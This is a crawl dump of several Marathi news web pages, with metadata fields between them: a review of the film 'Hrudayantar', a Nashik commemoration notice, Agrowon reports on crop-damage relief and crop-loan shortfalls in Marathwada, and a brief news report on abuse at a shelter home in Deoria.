प्रत्येक प्रॉब्लेम सहज सोडवतो पण घरातला प्रॉब्लेम सोडवता येत नाही. तेव्हा हा शेखर कनेक्ट करतो. प्रेक्षकांना तो आपल्यातला वाटतो. खासकरून तरुणाईला...\nआजूबाजूला असे अनेक शेखर आणि समायरा आहेत. आजची डिव्होर्सची कारणं कदाचित आपल्या आई-वडिलांच्या पिढीला न पटणारी आहेत. मारझोड, विवाहबाह्यसंबंध अशी काही मोठी कारणं असतील तरच डिव्होर्स. खुंटलेला संवाद, कुटुंबाला वेळ न देणं, कनेक्ट न वाटणं ही कारणं मोठी वाटत नसली तरी आजचं वास्तव आहे. करिअरची गणितं सोडवता सोडवता, नाती मागे पडतात. शेखर आणि समायरा यांच्या नात्यातला प्रॉब्लेम आजचा आहे.\nशेखर बिझनेसमन आहे. समायरा वर्किंग वाईफ आहे. त्यांना दोन गोड मुली आहेत. १२ वर्षांच्या संसारानंतर असं वळण येतं जिथं दोघंही फक्त नातं निभवतात. आपल्या कामात गुंतलेल्या शेखरबाबत समायरच्या अनेक तक्रारी आहेत आणि समायराच्या तक्रारी, डिमांड कशा अवाजवी आहेत, याचं शेखरचं व्हर्जन आहे. शेखर-समायरा त्यांच्यातले प्रश्न कनेक्ट होतात आणि इथंच माझ्या 'हृदयांतर'कडून अपेक्षा वाढल्या. वाटलं प्रॅक्टिकल सिनेमा आहे. शेखर-समायराच्या प्रश्नांची उत्तरं शोधण्याचा सिनेमा प्रयत्न करील.\nपण तसं घडलं नाही. हे प्रॉब्लेम फेस करणारे कपल्स जितके कन्फ्यूज आहेत तितकाच हा सिनेमा. विक्रम फडणीस यांनीही उत्तरं शोधण्याचा प्रयत्न केला नाही. त्यांनी आधार घेतला तो इमोशन्सचा. डिव्होर्सपर्यंत ताणला गेल्यावर सिनेमामध्ये एक इमोशनल ट्विस्ट येतो. अनेक हिंदी सिनेमांमध्ये बघितलेला ट्विस्ट. थेट प्रश्नाला हात घालण्याऐवजी इमोशनल ट्विस्टच्या आधारानं सिनेमा पुढे सरकतो आणि नंतर हा ट्विस्टच मूळ कथानकावर 'हावी' होतो. दोन वेगवेगळ्या प्लॉटला गुंतवून एक प्रश्न सोडवण्याच्या प्रयत्नात 'हृदयांतर'चं मूळ कथानक मागे पडतं. हळूहळू ते हरवतं...\nमुक्ता बर्वेनं रंगवलेली कणखर समायरा भुरळ घालते. तिच्यातली आई तुम्हाला इमोशनल करते. सुबोध यांनी शेखरला न्याय दिलाय. अलीकडे सिनेमातला नायक सहज रडतो. हृदयांतरमध्ये जेव्हा शेखरमधला बाप हतबल होऊन रडतो त्या सीनमध्ये सुबोध यांनी कमाल केलीय. थिएटरमधून बाहेर पडल्यावरही तो सीन मी विसरू शकलो नाही. दोन्ही मुली गोड आहेत. त्यांनी त्याची भूमिका योग्यरीत्या पार पाडलीय.\nविक्रम फडणीस बॉलिवूड कनेक्शन दाखवण्यासाठी अनेक हिंदी कलाकारांचं दर्शन घडवतात. हृतिक रोशन, शामक दावर, मनीष पॉल वगैरे मंडळी... हृतिकचा सीन सोडला तर बाकी पाहुण्या कलाकारांच्या सीनमध्ये काही खास मजा नाही. सिनेमा सीरियस होतोय की काय म्हणून दिग्दर्शकांनी अतुल परचुरे आणि विशाखा सुभेदारला घेऊन केलेला विनोदाचा प्रयत्न अत्यंत बालिश वाटतो. अनेक वेळा ऐकलेला विनोद पुन्हा एकदा ऐकवण्यात येतो. सेकंडहाफ खूप ताणलाय. पुढचं सगळं माहीत असल्यामुळे आपण फक्त सिनेमा संपण्याची वाट बघतो.\nहा सिनेमा बघून माझं हृदयांतर झालं नाही. प्रेक्षकांच्या 'IQ'पेक्षा 'EQ'ला हात घालणाऱ्या 'हृदयांतर'ला मी देतो दोन स्टार.\nसुबोध-मुक्ताच्या अभिनयासाठी हा सिनेमा नक्की बघितला जाऊ शकतो. इमोशनचा ओव्हरडोस, अनेक वेळा बघितलेले सीन्स, ताणलेली लांबी... आणि हरवलेल्या मूळ कथेसाठी तुम्ही 'हृदयांतर' टाळू शकता.\nमी मात्र मुक्ता बर्वेसाठी पुन्हा एकदा सिनेमा बघू शकतो पण फास्ट फॉरवर्डमध्ये...\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nसोनम कपूरचा फॅशन जलवा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00306.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/maharashtra/nashik-north-maharashtra-news/nashik/ahilya-devis-death-anniversary-today/articleshow/65724931.cms", "date_download": "2018-09-25T18:12:08Z", "digest": "sha1:VBIMQUFNFJ42QEWIAND2SSDMORED7JR5", "length": 9334, "nlines": 137, "source_domain": "maharashtratimes.indiatimes.com", "title": "Nashik News: ahilya devi's death anniversary today - अहिल्यादेवींची आज पुण्यतिथी | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nम. टा. वृत्तसेवा, जेलरोड\nपुण्यश्लोक राजमाता अहिल्यादेवी होळकर यांची शनिवारी (दि. ८) पुण्यतिथी आहे. त्यानिमित्त अहिल्याबाई होळकर यांना अभिवादन करण्यासाठी नाशिकरोड येथील दुर्गामाता मंदिराशेजारील अहिल्यादेवींच्या पुतळ्याजवळ सकाळी दहाला कार्यक्रम होणार आहे. नितीन धानापुणे, नवनाथ ढगे, प्रकाश लांडे, रामदास भांड, आप्पा माने, सुनील ओढेकर, रामदास रहाटळ, शशिकांत वाघ, विनायक काळदाते, किशोर वाघ, आण्णा रहाटळ, मयूर भगत, अविनाश वाघ आदी उपस्थित रहाणार आहेत. नागरिक आणि धनगर समाज बांधवांनी उपस्थित रहावे, असे आवाहन करण्यात आले आहे.\nमिळवा नाशिक बातम्या(Nashik + North Maharashtra News News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nNashik + North Maharashtra News News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\n मार्क्स वाढवून देण्यासाठी सेक्सची मागणी\nसाईनगर एक्स्प्रेसवर दरोडा; ८ लाखांची लूट\n'ब्राम्हण मुख्यमंत्री पंचांग बघून मंत्रिमंडळ विस्तार करतील'\nदुटप्पी भूमिका घेऊ नका\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n2आम्हीही बजावणार मतदानाचा हक्क\n3जम्परोप स्पर्धेत २१० खेळाडूंचा विक्रमी सहभाग...\n4डेंग्यूच्या उद्रेकास ठेकेदारच जबाबदार...\n5खुनातील आरोपींचा आडनावावरून सुगावा...\n9आर्थिक दुर्बलांना बचतीचे धडे...\n10डेंग्यूच्या प्रादुर्भावास नागरिक जबाबदार नाही", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00306.warc.wet.gz", "language": "mr", "language_score": 0.75, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-agrowon-central-team-marathwada-vidarbha-tour-today-8269", "date_download": "2018-09-25T17:45:56Z", "digest": "sha1:USIP4H7DBMJYFSLKXUXG4MFMGTJFAMBQ", "length": 18670, "nlines": 149, "source_domain": "www.agrowon.com", "title": "agriculture news in Marathi, agrowon, Central team on Marathwada, Vidarbha tour from today | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nकेंद्रीय पथक आजपासून मराठवाडा, विदर्भाच्या दौऱ्यावर\nकेंद्रीय पथक आजपासून मराठवाडा, विदर्भाच्या दौऱ्यावर\nबुधवार, 16 मे 2018\nऔरंगाबाद : खरीप हंगामात कापूस, धान पिकांचे किडींच्या प्रादुर्भावामुळे झालेल्या नुकसानीबद्दल मदत करण्याचा निर्णय शासनाने १७ मार्च २०१८ च्या निर्णयान्वये घेतला आहे. त्या अनुषंगाने बुधवारपासून (ता. १६) दोन दिवस केंद्राचे पथक केंद्र शासनास पाठविलेल्या ज्ञापनाच्या अनुषंगाने मराठवाडा आणि विदर्भात पाहणी करणार आहे. मात्र अनेक ठिकाणी शेतकरी पुढील खरीप हंगामाच्या तयारीला लागले आहेत. असे असताना हे पथक येऊन काय पाहणी करणार, असा प्रश्‍न उपस्थित केला जात आहे.\nऔरंगाबाद : खरीप हंगामात कापूस, धान पिकांचे किडींच्या प्रादुर्भावामुळे झालेल्या नुकसानीबद्दल मदत करण्याचा निर्णय शासनाने १७ मार्च २०१८ च्या निर्णयान्वये घेतला आहे. त्या अनुषंगाने बुधवारपासून (ता. १६) दोन दिवस केंद्राचे पथक केंद्र शासनास पाठविलेल्या ज्ञापनाच्या अनुषंगाने मराठवाडा आणि विदर्भात पाहणी करणार आहे. मात्र अनेक ठिकाणी शेतकरी पुढील खरीप हंगामाच्या तयारीला लागले आहेत. असे असताना हे पथक येऊन काय पाहणी करणार, असा प्रश्‍न उपस्थित केला जात आहे.\nपांढरे सोने म्हणून ओळख असलेल्या कपाशीला गत हंगामात गुलाबी बोंड अळीने संपविले. मराठवाड्यातील शेतकऱ्यांना कपाशीच्या झालेल्या नुकसानीपोटी १२२१ कोटी ४ लाख ८ हजार रुपये मदत मिळणे अपेक्षित आहे. त्यामधील पहिला हप्ता म्हणून ४०७ कोटी १ लाख रुपये रक्‍कम मंजूर करण्यात आली, तर पहिल्या हप्त्यापैकी बीम्स प्रणालीवर मराठवाड्यातील आठही जिल्ह्यांना ३२५ कोटी ६० लाख रुपयांची रक्‍कम वितरित करण्यात आल्याची माहिती प्रशासनाच्या वतीने दिली.\nयामध्ये औरंगाबाद जिल्ह्यासाठीचे ७९ कोटी, बीडसाठीचे ६८ कोटी ४२ लाख, जालना जिल्ह्यासाठी ७३ कोटी ४३ लाख, नांदेड जिल्ह्यासाठीचे ४६ कोटी ९७ लाख रुपये, लातूरसाठी २ कोटी ३० लाख, परभणीसाठीचे ४२ कोटी १२ लाख रुपये, हिंगोली जिल्ह्यात ९ कोटी ७६ लाख तर उस्मानाबाद जिल्ह्यासाठीच्या ३ कोटी ६० रुपये निधीचा समावेश आहे.\nशासनाच्या निर्णयानंतर कापूस व धान पिकाच्या नुकसानीसाठी केंद्र शासनास पाठविलेल्या ज्ञापनाच्या अनुषंगाने केंद्राचे पथक १६ व १७ मे दरम्यान राज्यातील औरंगाबाद, अमरावती व नागपूर विभागाच्या पाहणी दौऱ्यावर येणार आहे. केंद्राचे पथक १६ मे रोजी औरंगाबाद जिल्ह्यातील गाढेजळगाव, शेकटा या दोन गावांना भेट दिल्यानंतर औरंगाबाद जिल्हाधिकारी यांच्याशी संवाद साधणार आहे. त्यानंतर डोंगरगाव कवाड गावाला भेट व तेथील शेतकऱ्यांशी संवाद साधून पथक जालना जिल्ह्याकडे रवाना होईल. त्यामध्ये भोकरदन तालुक्‍यांतर्गत बाभूळगाव येथील शेतकऱ्यांशी संवाद साधून त्यांनतर सिपोरा बाजार व जाफ्राबाद तालुक्‍यातील बोरगाव येथील शेतकऱ्यांशी संवाद साधून जालन्यात पथक जिल्हाधिकारी जालना यांच्याशी संवाद साधेल.\nबुलडाणा जिल्ह्यातील भविगाव (ता. देऊळगाव राजा, उंद्री (ता. चिखली), अकोला जिल्ह्यातील रिधोरा, अकोला, बोरगाव मंजू, अंभोरा, अमरावती जिल्ह्यातील शिवनगाव (ता. तिवसा) आदी ठिकाणी शेतकऱ्यांशी संवाद तसेच अकोला जिल्हाधिकाऱ्यांशी संवाद साधून पथक नागपुरात दाखल दाखल होईल. १८ मेला नागपूरवरून मुंबईत दाखल झाल्यानंतर पथक पुन्हा दिल्लीकडे रवाना होणार असल्याची माहिती सूत्रांनी दिली. खरिपाची पिके काढून टाकल्यानंतर रब्बीचीही पिके आता शिल्लक राहिलेली नाहीत. विशेष म्हणजे अनेक ठिकाणी शेतकरी खरिपाच्या तयारीला लागले आहेत. असे असताना हे पथक येऊन काय पाहणी करेल, असा प्रश्‍न आहे.\nऔरंगाबाद खरीप कापूस २०१८ 2018 विदर्भ बोंड अळी bollworm प्रशासन administrations नांदेड उस्मानाबाद अमरावती नागपूर अकोला दिल्ली\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...पुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या...\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nसातपुड्यातील लघू प्रकल्पांमध्ये अल्प...जळगाव : खानदेशात नंदुरबार, धुळे व जळगाव...\nनाशिकला पहिल्यांदाच मशिनद्वारे...नाशिक : कांद्याची निर्यात करण्यासाठी कांदा...\nतंत्रज्ञान शेतकरी स्नेही व्हायला हवे ः...औरंगाबाद : शेतीतील प्रश्न संपत नाहीत, कालपरत्वे...\nप्रात्यक्षिकांनी सुधारित तंत्रज्ञानाचे...जालना : सुधारित तंत्रज्ञानाचा व नवीन वाणाच्या...\nहिंगोली जिल्ह्यात एक लाख कुटुंबांना...हिंगोली ः केंद्र शासनाची महत्त्वाकांक्षी आयुष्मान...\nपरभणीत पीक कर्जवाटप प्रश्नी शेतकरी...परभणी ः जिल्ह्यातील शेतकऱ्यांच्या पीक कर्जवाटप...\nम्हैसाळ योजना सुरू करण्यासाठी हालचाली...सांगली ः जिल्ह्यातील ताकारी आणि टेंभू उपसा सिंचन...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00307.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-four-taluka-only-545-percent-target-loan-allocation-9042", "date_download": "2018-09-25T17:54:07Z", "digest": "sha1:FWCNP23VZ5IL2JSEQY6CADQTORRVRT6T", "length": 18982, "nlines": 167, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, four taluka in only 5.45 percent of the target loan allocation | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nमराठवाड्यात उद्दिष्टाच्या केवळ ५.४५ टक्‍केच कर्जवाटप\nमराठवाड्यात उद्दिष्टाच्या केवळ ५.४५ टक्‍केच कर्जवाटप\nगुरुवार, 7 जून 2018\nऔरंगाबाद : मराठवाड्यातील औरंगाबाद, जालना, परभणी व हिंगोली या चार जिल्ह्यांत २ जूनअखरेपर्यंत प्राप्त उद्दिष्टाच्या केवळ ५.४५ टक्‍केच खरीप पीककर्ज वाटप करण्यात आले आहे. त्यामुळे खरीप हंगामासाठी कर्जपुरवठ्यासंदर्भात बॅंका उद्दिष्टपूर्ती बॅंका करतील का, हा प्रश्न असून मुख्यंमत्र्यांनी बॅंकांना दिलेली सूचना कागदावरच राहते की काय अशी अवस्था आहे.\nऔरंगाबाद : मराठवाड्यातील औरंगाबाद, जालना, परभणी व हिंगोली या चार जिल्ह्यांत २ जूनअखरेपर्यंत प्राप्त उद्दिष्टाच्या केवळ ५.४५ टक्‍केच खरीप पीककर्ज वाटप करण्यात आले आहे. त्यामुळे खरीप हंगामासाठी कर्जपुरवठ्यासंदर्भात बॅंका उद्दिष्टपूर्ती बॅंका करतील का, हा प्रश्न असून मुख्यंमत्र्यांनी बॅंकांना दिलेली सूचना कागदावरच राहते की काय अशी अवस्था आहे.\nऔरंगाबाद, जालना, परभणी व हिंगोली या चार जिल्ह्यांना येत्या खरीप हंगामासाठी ४८३२ कोटी ५३ लाख ६० हजार रुपये कर्जवाटपाचे उद्दिष्ट देण्यात आले आहे. जिल्हा मध्यवर्ती सहकारी बॅंका, व्यापारी बॅंका व ग्रामीण बॅंक शाखांनी या उद्दिष्टाची पूर्ती करणे अपेक्षित आहे. येत्या वर्षात खरीप व रब्बीसाठी पतपुरवठा करताना जिल्हा सहकारी बॅंकांची आर्थिक स्थिती लक्षात घेऊन शासनाने राष्ट्रीयीकृत बॅंकांवर कर्जवाटपाचा अधिकचा बोजा टाकला आहे. परंतु प्रत्यक्षात कर्जवाटपात या बॅंका मोठ्या प्रमाणात पिछाडीवर असल्याचे चित्र चारही जिल्ह्यांत पाहायला मिळते आहे.\nऔरंगाबाद, जालना, परभणी व हिंगोली व या चारही जिल्ह्यांत जिल्हा मध्यवर्ती सहकारी बॅंकांनी २ जूनपर्यंत प्राप्त उद्दिष्टाची ८.५४ टक्‍केच पूर्ती केली. दुसरीकडे ग्रामीण बॅंकेने प्राप्त उद्दिष्टाच्या १४.६१ टक्‍के कर्जपुरवठा केला. तर व्यापारी बॅंकांनी केवळ ३.०३ टक्‍के उद्दिष्टपूर्ती केल्याचे चित्र आहे.\n५१ हजार २२६ शेतकऱ्यांनाच मिळाले कर्ज\nऔरंगाबाद, जालना, परभणी व हिंगोली या चारही जिल्ह्यांतील केवळ ५१ हजार २२६ शेतकऱ्यांनाच आजवर २६३ कोटी ५६ लाख १६ हजार रुपये कर्जाचे वाटप करण्यात आले. यामध्ये चारही जिल्ह्यांतील जिल्हा मध्यवर्ती सहकारी बॅंकांनी कर्जपुरवठा केलेल्या ३१ हजार १६४, व्यापारी बॅंकांनी कर्जपुरवठा केलेल्या ९४४८ तर ग्रामीण बॅंकांनी कर्जपुरवठा केलेल्या १० हजार ६१४ शेतकरी सभासदांचा समावेश आहे.\nहमीदराने शेतीमाल खरेदीत शासन दावे करीत असले तरी प्रत्यक्षात लाइनवरच नसलेल्या ऑनलाइनच्या जंजाळात अडकण्यापेक्षा गरज ओळखून शेतकऱ्यांना आपला उत्पादित माल हमीदरापेक्षा कमी दराने विकण्याशिवाय पर्याय उरला नाही. मोठ्या प्रमाणात हरभऱ्याची खरेदीच होणे बाकी असताना खरेदी बंद झाल्याने खरिपासाठी पैशाची सोय करणारा हरभरा शेतकऱ्यांना विकता आला नाही. दुसरीकडे विकलेल्या तुरीचे चुकारेही मोठ्या प्रमाणात थकलेले आहेत. अशा स्थितीत कर्जाच्या पुरवठ्याशिवाय शेतकऱ्यांना खरिपाच्या पेरणीची सोय लावणे शक्‍य होईल, असे चित्र नाही. त्यामुळे पतपुरवठ्याअभावी शेतकरी अडचणीत येण्याची शक्‍यताच जास्त आहे.\nऔरंगाबाद १२५ कोटी २९ लाख ९९ हजार\nजालना ९१ कोटी ५० लाख ०४ हजार\nपरभणी ३५ कोटी ११ लाख ४१ हजार\nहिंगोली ११ कोटी ६४ लाख ७२ हजार\nचार जिल्ह्यांत बॅंकनिहाय उद्दिष्ट व पूर्ती\nजिल्हा मध्यवर्ती सहकारी बॅंक ८०० कोटी ६४ लाख ४२ हजा ६८ कोटी ३७ लाख ८३ हजार\nव्यापारी बॅंक ३४०१ कोटी ५८ लाख ७१ हजार १०३ कोटी ०८ लाख २६ हजार\nग्रामीण बॅंक ६३० कोटी ३० लाख ४७ हजार ९२ कोटी १० लाख ०७ हजार\nपरभणी खरीप पीककर्ज कर्ज व्यापार जिल्हा सहकारी बॅंक शेती\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00307.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/amp/news/sexual-exploitation-of-girls-in-girls-hostel-in-u-5932695.html", "date_download": "2018-09-25T16:42:30Z", "digest": "sha1:5B2ZXXEJV4A2GRR5JKSRDAVMU7BQLT32", "length": 4783, "nlines": 51, "source_domain": "m.divyamarathi.bhaskar.com", "title": "Sexual exploitation of girls in girl's hostel in U.P. | यूपीमध्ये बालिकागृहात मुलींचे लैंगिक शोषण; २४ मुलींची सुटका, १८ बेपत्ता", "raw_content": "\nयूपीमध्ये बालिकागृहात मुलींचे लैंगिक शोषण; २४ मुलींची सुटका, १८ बेपत्ता\nयूपीच्या देवरिया येथील बालिकागृहात मुलींच्या लैंगिक शोषणाचा प्रकार समोर आला आहे.\nदेवरिया- यूपीच्या देवरिया येथील बालिकागृहात मुलींच्या लैंगिक शोषणाचा प्रकार समोर आला आहे. आरोप आहे की, येथून रात्री मुलींना बाहेर पाठवले जात होते. त्या पहाटे रडवेल्या अवस्थेत परतत होत्या. रविवारी एका मुलीने येथून पळून थेट पोलिस ठाणे गाठल्यानंतर या प्रकरणाचा उलगडा झाला. पाेलिसांनी २४ मुलींची सुटका केली. अद्याप १८ मुली बेपत्ता आहेत. हे बालिकागृह अवैधरीत्या चालवले जात होते. यूपी सरकारने ते बंद करण्याचा अादेश वर्षभरापूर्वीच दिला होता.\nमां विंध्यवासिनी बालगृह संस्थेच्या संचालिका गिरिजा त्रिपाठी, पती मोहन त्रिपाठी व मुलाला पोलिसांनी अटक केली. 